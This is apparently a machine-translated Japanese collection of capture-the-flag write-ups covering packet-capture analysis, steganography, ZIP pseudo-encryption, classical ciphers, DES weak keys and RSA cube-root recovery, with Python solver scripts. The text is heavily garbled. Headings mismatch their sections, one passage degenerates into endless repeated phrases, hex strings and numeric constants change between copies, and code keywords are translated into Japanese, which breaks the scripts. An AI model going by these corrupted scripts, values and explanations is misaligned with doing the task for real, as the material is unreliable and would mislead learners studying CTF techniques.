タイトル:魔法のmodbus質問説明:flagを見つける、sctf {xxx}添付ファイルのコンテンツを見つけます: https://adworld.xctf.org.cn/media/task/Attachments/22FC3D84E8434AED89CBC0BBD95A07B4.PCAPNG基本知識:MODBUSはシリアル通信プロトコルです。 Modbusは、産業分野での通信プロトコルの業界標準(事実上)になり、現在では産業用電子機器間で一般的に使用されている接続方法です。質問writeup:01。文字列フラグキーワードを検索することにより、関連する検索はありません。1049983-20210806171352211-1482364322.png2。 SCTFキーワードを検索すると、SCTF形式が表示されます。1049983-20210806171353392-632343064.png結果は次のとおりです。SCTF{easy_mdbus}、提出エラー1049983-20210806171354057-281842400.jpgタイトル名modbusキーワードによると、添付ファイルのコンテンツのトラフィックパッケージに1つが欠落している可能性があります。提出flag

3。トラフィックパケットHTTPプロトコルの分析

質問名:wireshark-1質問説明:ハッカーは、管理者がwiresharkを介してウェブサイトにログインするためのトラフィックパッケージをキャッチしました(管理者のパスワードは答えです)。フラグの提出フォームはフラグ{xxxx}添付ファイルコンテンツ:https://adworld.xctf.org.cn/media/task/attachments/ab8cfea4444444444d4d8bd96c7f769ce1309.zip question writeup:1。 Wiresharkを使用してトラフィックパッケージを開き、HTTPキープロトコルを検索し、Post Data Packet 1049983-20210806171355108-1699664680.png2を見つけます。トラッキングフロー - HTTPフロー1049983-20210806171355560-724652940.png3。投稿で提出されたパスワードキーワードのバックドアの内容、つまり答えは、Flag 1049983-20210806171356770-161957398.png4です。最終フラグは次のとおりです。Flag{FFB7567A1D4F4F4ABDFFDB54E022F8FACD}

iv。写真の執筆

質問名:Pure_Color質問説明:フォーマットはフラグ{{

1。フラグの提出形式

フラグ{th1s_!s_a_d4m0_4la9}

2。 PDFステガノグラフィ

writeup:オンラインワードを使用してPDFツールを使用してワードファイルに変換し、flag3https://App.xunjiepdf.com/pdf2word/StegSolveツールのフレームブラウザブラウザを使用して、静的画像ファイル形式のファイル形式を表示します。これは、主に画像の特定の情報を表示します。

データ抽出:データ抽出、写真の隠されたデータの抽出

フレームブラウザー:フレームブラウザーは、主にGIFなどのアニメーションを分解し、アニメーションが画像になり、簡単に表示されます。

画像combiner:パズル、画像ステッチ

1049983-20210806170733688-1639547127.png2。 QRコードには、位置付けパターンと呼ばれる3つの小さな正方形がありませんが、QRコード長方形のサイズをマークするために使用されます。 3つの位置決めパターンを使用して、QRコード長方形の位置と方向を識別および決定できます。 3.静的画像のスクリーンショットを保存し、Phoshtopツールを使用してQRコード画像を修復してからスキャンします

https://jiema.wwei.cn/(QRコードオンライン識別ツール)

iii。 GIFピクチャーステガノグラフィ

writeup:

1. JD-GUIで開き、直接検索:フラグ

1049983-20210806170734226-2031427154.png 1049983-20210806170735894-1564562099.png2。 base64を使用して、フラグを解読します{dajidali_jinwanchiji}

iv。 jar steganography

writeup:1。 WinHexを使用してこれらの写真を表示すると、利用可能な情報が見つかりませんでした。したがって、白黒はバイナリ0と1を表す可能性があると思いました。合計で104枚の写真があり、正確に8の倍数であり、8つの1バイナリシステムに変換してからASCIIコードに変換できます。たくさんの写真があるので、Pythonスクリプトを書きます。ここでは、Python Image Library PIL(Python Image Library)を使用します。これは、Python用のサードパーティ画像処理ライブラリです。 PILインポート画像から

結果=''

範囲(104):のIの場合

img=image.open(f'c: \\ users \\ backlion \\ desktop \\ ctf \\ jpg \\ gif \\ {i} .jpg ')

im_rgb=img.convert( 'rgb')#画像をRGBモードに変換する

r、g、b=im_rgb.getpixel((1,1))#xとy座標のRGB値をゲット

印刷(r、g、b)#この質問では、白い画像のRGB値:255,255,255ブラック画像RGB値:12,12,0

r!=255:#255が白の場合

結果+='1'

else:

結果+='0'

#バイナリをASCIIコードに変換します

範囲(0、len(result)、8):のiの場合

byte=result [i:i+8]

print(chr(int(byte、2))、end='')

'' '

rusult:

フラグ{fun_gif}

'' 2。オンラインバイナリから文字列http://www.txttool.com/wenben_binarystr.asp 1049983-20210806170736323-824509265.png

5。圧縮パッケージ暗号化された白黒写真

writeup:このメッセージは次のとおりです。 c8e9aca0c6f2e5f3e8c4efe7a1a0d4e8e5a0e6ece1e7a0e9f3baa0e8eafae3f9e4eafae2eae4e3eaebfaebe3f5e7e9f3e4e3e8eaf9eaf3e2e4e6f2writeup:1.この暗号化と復号化方法は非常に簡単に推測できます。文字は最大fであるため、16進数を推測するため、グループには2つあります。 2つのグループごとに、16進数を小数に変換します。データの各セットは127を超えていることがわかりますが、ASCIIコードの値は127以下ではないため、すべての値は128で差し引かれ、文字に変換され、フラグが取得されます。 string='c8e9aca0c6f2e5f3e8c4efe7a1a0d4e8e5a0e6ece1e7a0e9f3baa0e8eabae3f9e4eafae4e3eebfaebebebebebebebebebebebebe7e7e9f3e4e3e3e3e8ea893e2e4e4e6e6f2'

flag=''

範囲(0、len(string)、2):のiの場合

s='0x' + string [i] + string [i + 1]

flag +=chr(int(s、16)-128)

印刷(フラグ)2。取得:こんにちは、フレッシュドッグ!フラグは: hjzcydjzbjdcjkzkzkcugisdchjyjsbdfr注:jpocketknifeを使用して

6、ascii

の16進

Writeup:1を変換することもできます。テキストは次のように表示されます:ye duo xi xi xi xi duo duo duo lu mu lu three nephews three、3番目のne、3番目は、3番目は3番目です。3番目は3番目です。3番目は3番目です。3番目は3番目です。3番目は3番目です。 3番目、3番目は、3番目は、3番目の1つ、3番目は3番目、3番目は3番目です。3番目は3番目です。3番目は3番目です。3番目は3番目です。 3番目、3番目は、3番目は、3番目は、3番目は3番目です。3番目は、3番目は3番目です。3番目は3番目です。3番目は3番目です。3番目は3番目です。 3番目は、3番目のもの、3番目のもの、3番目のものは、3番目のもの、3番目のものは、3番目は、3番目は3番目です。3番目は3番目です。私はti病でti病であるのではないかと心配しています。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病でti病です。私はti病です

2。仏の言葉の意味は、オンライン翻訳ツールhttp://www.keyfc.net/bbs/tools/tudoucode.aspx:1049983-20210806170736841-882418160.png3を介して復号化できます。次に、復号化されたmzkum3gvmuawnzuvn3cgozmlmtuvqzaenjchmuaeqzwenzemljw9は、rot-13ツールを使用します(タイトルに記載されている「タタガタの13ヤシ」に従って)。

zmxhz3tizhnjamhia3ptbmzyzghidmnrawpuzhnrdmjramrzywj9を取得します

1049983-20210806170738486-1202624319.pnghttps://ROT13.com/(オンラインツール)Python Decryption:#Coding:UTF-8

文字列をインポートします

defデコーダー(crypt_str、shift):

crypt_list=list(crypt_str)

Plain_str=''

num=int(shift)

crypt_list:のChの場合

ch=ord(ch)

if ord( 'a')=chおよびch=ord( 'z'):

ch=ch + num

ch ord( 'z'):の場合

ch-=26

if ord( 'a')=chおよびch=ord( 'z'):

ch=ch +num

ch ord( 'z'):の場合

ch-=26

a=chr(ch)

Plain_str +=a

print(plain_str)

crypt_str=raw_input( 'crypto_text:')

印刷'!-------デコード------!'

シフト=13

Decoder(crypt_str、shift)注:rot13は、単純な交換エンタープライプアルゴリズムを使用して、最初の文字と最後の13文字を合成します。

4。Base64復号化

flag {bdscjhbkzmnfrdhbvvckijndskvbkjdsab}

7。仏を仏buddhで解読します

writeup:1。 Google Chromeを介してPDFファイルを開き、テキストコンテンツをテキストにコピーします

1049983-20210806170739240-1445752685.jpg 1049983-20210806170739829-1226725389.pngbaba Bbb ba bba ba ba ba ba b aab bbb ba aaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb baaaaaaaaaaaaaaabbb aaabb2。 Aababaスタイルのものの大部分は01だと思いますが、これらは分割されており、Mossパスワードのみを考えることができるため、Mossパスワードに変更しようとします。次に、「a」を「」、「b」に「 - 」に変更し、get -.--を変更します。 - 。 --.-- --.-- --.-- --.-- --.-- --.-- --.-- --.-- --.-- --.-- --.-- --.-- --.-- --.-- --.-- --.-- --.-- --.-- --.-- --.-- --.-- --..-- --..-- --...-- --...............................1049983-20210806170740268-681316427.pngCONGRATULATIONSnullFLAGnull1NV151BL3M3554G34.変換:Flagnull後に内容を取り、Letterを小文字に変更し、フォーマットフラグ{1NV151BL3M3554G3}を下位ケースに変換します:Flag {1NV151BL3M3554G3}

8。 PDFのMOMOSパスワードSteganography

基本知識:1。一般的なファイルヘッドおよびファイルテール構造:1049983-20210806170741902-1525952640.jpgWRITEUP:1。この場所はファイルヘッダーを表し、65はflag.txtのファイルの終わりです。a83cは検証コードを表します。したがって、7cはブロックタイプを表します。ここでは、ブロックタイプはファイルヘッダーです。1049983-20210806170743092-590535828.png2。 7bを入力して、74。1049983-20210806170743710-1863320468.png3に変更してください。保存して減圧してから、Sercet.pngをWinHexに投げて、ファイルヘッダーがGIF画像であることを確認し、接尾辞名を.gifに変更します。

通常のファイルエンコードに関する知識は次のとおりです。

JPG画像開始フラグ:FF D8エンドフラグ:FF D9

GIF画像開始フラグ:47 49 46 38 39 61エンドフラグ:01 01 00 3B

1049983-20210806170744364-828635658.png

1049983-20210806170745940-1299064485.png4。接尾辞名を.gifとして変更し、Stegsolveのフレームブラウザを使用して2つの写真に分解し、左と右の矢印を使用してレイヤーを選択してQRコードを分離して2つの不完全なQRコードを取得します。

1049983-20210806170746500-987564971.png

5。質問から、二重層の絵であることがわかります。 PSを使用して分離されたレイヤーを開き、保存します

(特定の手順:レイヤーをクリックします - レイヤーをコピー - OK、次にファイルをクリック - 保存- 保存)

1049983-20210806170747009-1082782632.png

1049983-20210806170747490-10134175.pngPSフルQRコード、スキャンしてフラグを取得する:flag {yanji4n_bu_we1shi}

6.オンラインPSツール:https://www.uupoop.com/ps/?hmsr=ps_menu(——色の範囲を選択し、1が表示できるQRコードに色域を調整してからスプライスします)

1049983-20210806170748147-136776722.png

9。破損したRARファイルのGIFステガノグラフィ

基本知識:1。ソースファイルデータ領域を圧縮します:

quqmjppiykq7564.png

50 4b 03 04:これはヘッダーファイルタグ(0x04034b50)です

14 03:ファイルの減圧の必要なpkwareバージョン

00 00:グローバルモードビットマーク(暗号化があるかどうかを判断するための重要なマーク)

08 00:圧縮方法

68 BF:最後の変更されたファイル時間

9b 48:最終変更されたファイル日付

Fe 32 7d 4b:CRC-32検証

E9 0D 00 00:圧縮後のサイズ

B5 1B 00 00:圧縮されていないサイズ

09 00:ファイル名の長さ

00 00:拡張レコード長

2。ソースファイルディレクトリ領域を圧縮します。

flk0miuyywj7565.png

50 4b 01 02:ディレクトリのファイルヘッダータグ(0x02014b50)

3F 03:圧縮に使用されるPKwareバージョン

14 03:ファイルの減圧の必要なpkwareバージョン

00 00:グローバルモードビットマーク(暗号化に重要な兆候があるかどうか、この変更はここで擬似暗号化のために行われ、09 00に変更して開きます。パスワードがあることが促されます)

08 00:圧縮方法

68 BF:最後の変更されたファイル時間

9b 48:最終変更されたファイル日付

Fe 32 7d 4b:CRC-32検証(1480b516)

E9 0D 00 00:圧縮サイズ(25)

B5 1B 00 00:圧縮されていないサイズ(23)

09 00:ファイル名の長さ

24 00:拡張フィールド長

00 00:ファイルコメントの長さ

00 00:ディスク開始番号

00 00:内部ファイル属性

20 80 ED 81:外部ファイル属性

00 00 00:ローカルヘッドオフセット

圧縮ソースファイルディレクトリエンドフラグ:

dl5grzx0c2i7566.png

50 4b 05 06:ディレクトリエンドタグ

00 00:現在のディスク番号

00 00:ディレクトリ領域はディスク番号を開始します

01 00:このディスクに記録された総数

01 00:カタログエリアの合計記録

5B 00 00 00:ディレクトリエリアサイズ

10 0E 00 00:ディレクトリ領域の最初のディスクへのオフセット

00 00:zipファイルコメントの長さ

次に、真と偽の暗号化を特定します

1.暗号化なし

圧縮されたソースファイルデータ領域のグローバル暗号化は00 00でなければなりません

圧縮ソースファイルディレクトリ領域のグローバルビットマークは00 00でなければなりません

2。偽の暗号化

圧縮されたソースファイルデータ領域のグローバル暗号化は00 00でなければなりません

圧縮ソースファイルディレクトリ領域のグローバルビットマークは09 00でなければなりません

3。真の暗号化

圧縮されたソースファイルデータ領域のグローバル暗号化は09 00でなければなりません

圧縮ソースファイルディレクトリ領域のグローバルビットマークは09 00WRITEUP:でなければなりません

1.グローバルな問題は00 00ですが、最後には09 00であるため、偽の暗号化です。 09 00から00 00を変更すると、ファイルを減圧して開くことができます。

1049983-20210806170749843-1584408947.png2。 zipcenop.jarツールjava-jarzipcenop.jarrxxx.zip 1049983-20210806170750265-791968010.pngを介してそれを復号化します。 TXTファイルを開くと、Base64パスワードがたくさん表示されますu3rlz2fub2dyyxboesbpcyb0agugyxj0igfuzcbzy2llbmnlig9mihdyaxrpbmcgaglkzgvuig1lc3nhz2vzigluihn1y2ggysb3yxk gdghhdcbubybvbmv=lcbhcgfydcbmcmcm9tihrozsbzzwkzxigyw5kigludgvuzgvkihjly2lwawvudcwgc3vzcgu=y3rzihrozsbleglgl zdgvuy2ugb2ygdghlig1lc3m=ywdllcbhigzvcm0gb2ygc2vjdxjpdhkgdghyb3vnacbvynnnjdxjpdhkuifs=agugd29yzcbzdgvn. yzwvrig9yawdpbibhbmqgbwvhbnmgimnvbmnlyw==bgvkihdyaxrpbmciigzyb20gdghliedyzwvrihdvcmrzihn0zwdhbm9zig1lyw5pbmcgimnvdmvyzwqgb3ig chjvdgvjdgvkiwgyw5kigdyyxbozwluig1lyw5pbmcginrvihc=cmml0zsiuifrozsbmaxjzdcbyzwnvcmrlzcb1c2ugb2ygdghlihrlcm0d2ffzigluide0otk gynkgsm9oyw5uzxmgvhjpdghlbwl1cybpbiboaxmgu3rlz2fub2dboawesigdhjlyv==dglzsbvvbibjcnlwdg9ncmfwahkgyw5kihn0zwdhbm9ncmfwhkggz glzz8==dwlzzwqgyxmgybibib29rig9uig1hz2ljlibhzw5lcmfsbhksig1lc3p=ywdlcyb3awxsigfwcgvhcib0bybizsbzb21ldghpbmcgzwxzogaw1hz2vzlc bhcnrpy2xlcywgc2hvchbpbmcgbglzdhmsig9yihnvbwugb3r=agvyignvdmvydgv4dcbhbmqsignsyxnzawnhhbgx5lcb0agugaglkzgvuig1lc3nhz2ugbwf5igj

des weak necryption easy_blockcipher

添付ファイルをダウンロードして2つのファイルを入手してください:https://adworld.xctf.org.cn/media/task/attachments/5b8b28546b44423b481b13149abc99f.zip 1049983-20211215165842148-1184280337.png分析の分析にあります。

des-ofb.py:

crypto.cipher Import desから

f=open( 'key.txt'、 'r')

key_hex=f.readline()[:-1]#newlineを破棄します

f.close()

key=key_hex.decode( 'hex')

IV='13245678'

a=des.new(key、des.mode_ofb、iv)

f=open( 'Plantext'、 'r')

plantext=f.read()

f.close()

ciphertext=a.encrypt(plantext)

f=open( 'ciphertext'、 'w')

f.write(ciphertext)

F.Close()は、DESアルゴリズムが暗号化中に使用され、プレーンテキストがOFBモードで暗号化されていることを示しています。

したがって、既知のIV='12345678'の場合、暗号文をクラックするための鍵を知る必要があります。

既知の情報によると、IVと未知のキーのみがあるため、暗号化には弱いキーがあると考えられています。 DES計算では、56bitキーは最終的に16のラウンドキーとして処理され、各ラウンドキーは16ラウンドの計算に使用されます。 DES弱いキーは、これらの16の丸いキーが完全に一貫しているため、弱いキーと呼ばれます。

弱いキーの4つは次のとおりです。

0x000000000000000

0xffffffffffffffffffffffffff

0xe1e1e1e1f0f0f0f0

0x1E1E1E1E0F0F0F0Fは、4セットのキーを使用して、暗号文をクラックしようとします。

crypto.cipher Import desから

f=open( 'ciphertext'、 'r')

ciphertext=f.read()

f.close()

IV='13245678'

key=b '\ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'

a=des.new(key、des.mode_ofb、iv)

plantext=a.decrypt(ciphertext)

プレーンテキストを印刷します

key=b '\ x1e \ x1e \ x1e \ x1e \ x0f \ x0f \ x0f \ x0f \ x0f'

a=des.new(key、des.mode_ofb、iv)

plantext=a.decrypt(ciphertext)

プレーンテキストを印刷します

key='\ xe1 \ xe1 \ xe1 \ xe1 \ xf0 \ xf0 \ xf0 \ xf0 \ xf0'

a=des.new(key、des.mode_ofb、iv)

plantext=a.decrypt(ciphertext)

プレーンテキストを印刷します

key='\ xff \ xff \ xff \ xff \ xff \ xff \ xff \ xff \ xff \ xff \ xff'

a=des.new(key、des.mode_ofb、iv)

plantext=a.decrypt(ciphertext)

得られた結果からの印刷のプレーンテキストは、シェークスピアによる詩です。

1049983-20211215165842590-1205047156.pngまたはスクリプト:#Coding:UTF-8

crypto.cipher Import desから

libnumをインポートします

ct=open( 'ciphertext'、 'rb')。read()

key=libnum.n2s(0xe0e0e0e0f1f1f1f1)

IV='13245678'

a=des.new(key、des.mode_ofb、iv)

印刷a.decrypt(ct)1049983-20211215165842980-901214506.pngが最後にflag:flag {_poor_single_dog_has_found_an_echo_from_it} :010101010質問説明:RSAアルゴリズムを学習するとき、私は同じセキュリティと同じセキュリティと同じセキュリティを持っていることを発見しました。 MSG.TXTを暗号化しますMSG.ENCを取得します。 $ python special_rsa.py enc msg.txt msg.enc flag.encからflag.txtを回復できますか?次のように、4つのファイルを含む添付ファイルをダウンロードしてください:https://adworld.xctf.org.cn/media/task/attachments/7a407f44a073442c91fd395b20594f01.zipflag.encenc

Special_rsa.py

msg.enc

msg.txt

質問のアイデアは、隠されたキーを使用してflag.encファイルを復号化することです。 Special_rsa.pyファイルの暗号化と復号化プロセスを読んだ後、隠されたキーを見つけるための簡単な式を作成しました。v4

擬似コードは次のとおりです。

flag.sage:

n=239274110140220695772934916764953661641310148480977056645255098192491740356525 24067590628570051635757892994011455370097616796996436414961522656868688922422802 846168661729353411578877799955597877965045704934575674208747413571865964257536 67455266870402154552439899664444136327167476448548975519407777512522049071328 64905644212655387223302410896871080751768224091760934209917984213585513510597 619708797688705876805464880105797829380326559399723048092175492203894444875271 8008631464599810632513162129223564676025080953565844055553290961599179573898 34381018137378015593755767450675441331998683799788355179363368220404088888888888888888888871713131L

C1=1454899738089726523978888482538130110996551898966180809068895223232381091726761 46495957294338302442802827071762995389459289085912881883932849900295082849152 1254480795364789013196240119403187073307558598496713832435709741997056118318 6037022715563316901966556439264952830698682696082941012034891358659219732730 93325988046922972414988738000562732175284348956498435870801330052464054543770 377142416810821304556756859509342136622481860950131878368049776353536181101840 78118456368631056495264337304089769880146783912055298782061128568056163894 01039724530142567623212626787465671025683845772894370612289985071385621160886

C2=12793942795110038319724531875568693507469327176085954164034728727511164833535 10175515351403025615287836466407905656538533190119654101539360975162497155401 66711607304789323439495382021675083192920845196217688518785266570229818833042 6088684151342396524869530063372782511380879783246034751883691295368172069170 96797556136427514063320691930900258017293871754252220972730171920769232179822222 9276732198521711602080244950295888957542338330809978629818447766830282842952156 657346718292493236040323206962671303306131343686404010707759271975554082071807 605399448960911234829590548855031180158567578928333030631307816223152118126597

M1=82460741826420911255783118283748436989942332438113476912293348292187007286240 47916518503687366661595620990394114306629686684708665972123162319899501758 42479609181025988465333257613612814495875132784474699126466700735951818136352 2934430676655236880489550093852524801304612322373542296281962196795304497110 06801211783005857297362930338978872451934860435597545642219213551685973208209 8736239096292783211814850109644606529869005874709029831236523067172379085099 85419566643768208205707092725003309662055788986903967066950240019707278640914 3651820241416691902041589276461705597848899616464222958271749337541999999360

M2=155750514538585217531084620637237509863860930677639483166121579461908355552732641412018370629510122222222222227815564183091664 7308058835456242606669492436488691640815057608266779727400066172627987197137743836282940252968282547129986181482946 351065925858602073222835125829152796582297704895472055897384095673137732251616880937364049422712999887116708958968 979602445850170570477910915276237366054268488800524892130399992038375799308553003385290580003301033333333333333333396323251274293258

R1=12900676191620430360427117641859547516838813596331616166760756921115466932766 990479475373384324634210232168544745678883988849094363202992624666063289599443

R2=7718975159402389617924543100113967512280131630282866240781023681661854434662628 61344357647019797762407935675150925255550347533663981198198412652955767981059

_、a、b=xgcd(r1、r2)

k=pow((c1/m1%n)、a、n) * pow((c2/m2%n)、b、n)

印刷(k)

1049983-20211215165843888-286890663.pngキーを取得:

175971776542095822590595405274258682712713663601405787766125822769656708208 0372980811310146217399585938214712928761559525614866113821551467842221584326 7688502772503884951352708084915807296957428701767142294778752742980766436072 18336744447622123999867771240935016192735134218031773471810632544214926211961

キーを取得し、flag.encをDecrypt、答えを取得します:

ポートmsgpackdef egcd(a、b): a==0: return(b、0、1)else: g、y、x=egcd(b%a、a)return(g、x-(b //a) * y、y)def modinv(a、m): g、x、y=eg=eg=eg g pad_even(x): return( ''、 '0')[len(x)%2] + xdef decrypt(c、k): out='' r_s、c_s in msgpack.unpackb(c): r=int(r_s.encode( 'hex')、16)c=int(c_s.c_ modinv(k、n)out +=pad_even(format(pow(k_inv、r、n) * c%n、 'x'))。デコード( 'hex')return outn=239274110140220695772934916764953661641310148480977056645255098192491740356525 24067590628570051635757892994011455370097616796996436414961522656868688922422802 846168661729353411578877799955597877965045704934575674208747413571865964257536 67455266870402154552439899664444136327167476448548975519407777512522049071328 64905644212655387223302410896871080751768224091760934209917984213585513510597 619708797688705876805464880105797829380326559399723048092175492203894444875271 8008631464599810632513162129223564676025080953565844055553290961599179573898 34381018137378015593755767450675441331998683799788355179363368220404088888888888888879117131K=17597177654209582259059540527425868271271366360140578776612582276966567082080 37298081131014621739958593821471292876155952561486611382155146784222215884326768 85027725038849513527080849158072296957428701767142294787527429807664360721833 6744476221239999867771240935016192735134218031773471810632544214926211961PRINT decrypt(open( 'flag.enc')。read()、k)

最後にflag3360を取得しました

flag: bctf {q00000000000b3333333333 -ju57 -w0n -pwn20wn !!!!!!!!!!

タイトルは、flag.encとpublic.pemを与え、添付ファイルのダウンロードアドレス:

https://adworld.xctf.org.cn/media/task/attachments/9244cc370caa43f491636f8c4670fe7d.zip

OpenSSLのインストールは、nとeを読み取ることができます。 nは大きくないため、yafuまたはfactordb.comで分解してn=p * q * rを取得できます

flag.encによれば、暗号文mを取得できます

中国の残留定理によると、P、Q、R、およびPMOD、QMOD、RMOD、RMODに設定される可能性があります。

次に、残りのモードに3回、つまり、prot ^ 3 pmod(mod p)、find:prot、同じことがqroot、rrootにも当てはまります

Webツールを使用すると、直接計算できます。

http://www.wolframalpha.com/input/?i=x%5E3+%3D+19342563376936634263836075415482+(MOD+27038194053540066199904565656526063)

RSAを介して暗号化されていると思われるOpenSSLコマンドラインから暗号文を取得します。また、公開キーにもアクセスできるため、標準のRSAパスワードを使用するのと同じように、パラメーターを復元することで以下を実行します。

E=3

n=232927109786703804036412732700028847470600065680462900119184133754739340240397151805408873380677

Yafuを使用して、モジュラスを以下に分割します。

P=264406153663952421965168534447

Q=27038194053540661979045656526063

R=3258147930040487672405716877547

3つの素数が得られます。これはまだ良いことであり、単に多品質のRSAかもしれません。これはまったく驚くことではありません。一般的に言えば、それは非常に単純(P-1)(Q-1)(R-1)であり、残りの計算は通常どおりに実行されます。しかし、モジュラー乗算の逆が存在しないことがわかったため、それは存在しません。理由は明らかです。GCD(e、クライアントへ)=3、1である必要があります。これは、同様の状況に遭遇したのはこれが初めてではありません(https://github.com/p4-team/ctf/tree/master/2015-10-18-hitcon/crypto 314-u rsabin-35; engバージョン)。

RSAデコードを適用する前に、これら3を削除する必要があります。これは、暗号化が次のことを意味します。

ciphertext=plaintext^e mod n=(plantext^e ')^3 mod n

したがって、方程式の両側に弾性キューブルート(mod n)を形成できる場合、RSAデコードにE '=e/3を使用できます。 e=3、e '=e/3=1なので、ここでは簡単ではありません。つまり、暗号化は簡単です。

ciphertext=plaintext^3 mod n

したがって、復号化プロセス全体には、暗号文のmodキューブルート(mod n)が必要です。

カビの根についてのいくつかの読みは、これが可能であるが限られた領域でのみ結論に至ることにつながります。したがって、それはnではできません、それは複合数であり、それがPQRだからです。

この質問は、中国のリマインダー定理(https://en.wikipedia.org/wiki/chinese_remainder_theorem)を思い出させます。しばらく考えた後、Ciphertext(mod Prime)から3つのプライムの3回のカビの根を計算できれば、マージの根を計算できるという考えを思いつきました。 Gaussian Algorithm(http://www.di-mgt.com.au/crt.html#gaussalg)を使用してこれを達成できます。

したがって、私たちは計算を続けます:

pt^3 mod p=ciperhtext mod p=2082790798810303030784078915883129

pt^3 mod q=ciperhtext mod q=19342563376936634263836075415482

pt^3 mod r=ciperhtext mod r=1052528394780776022788040671000

その後、このPTの方程式を解くのにしばらく時間がかかりましたが、最後に、Wolframalphaがこの機能を実装することがわかりました。

http://www.wolframalpha.com/input/?i=x^3+%3d+2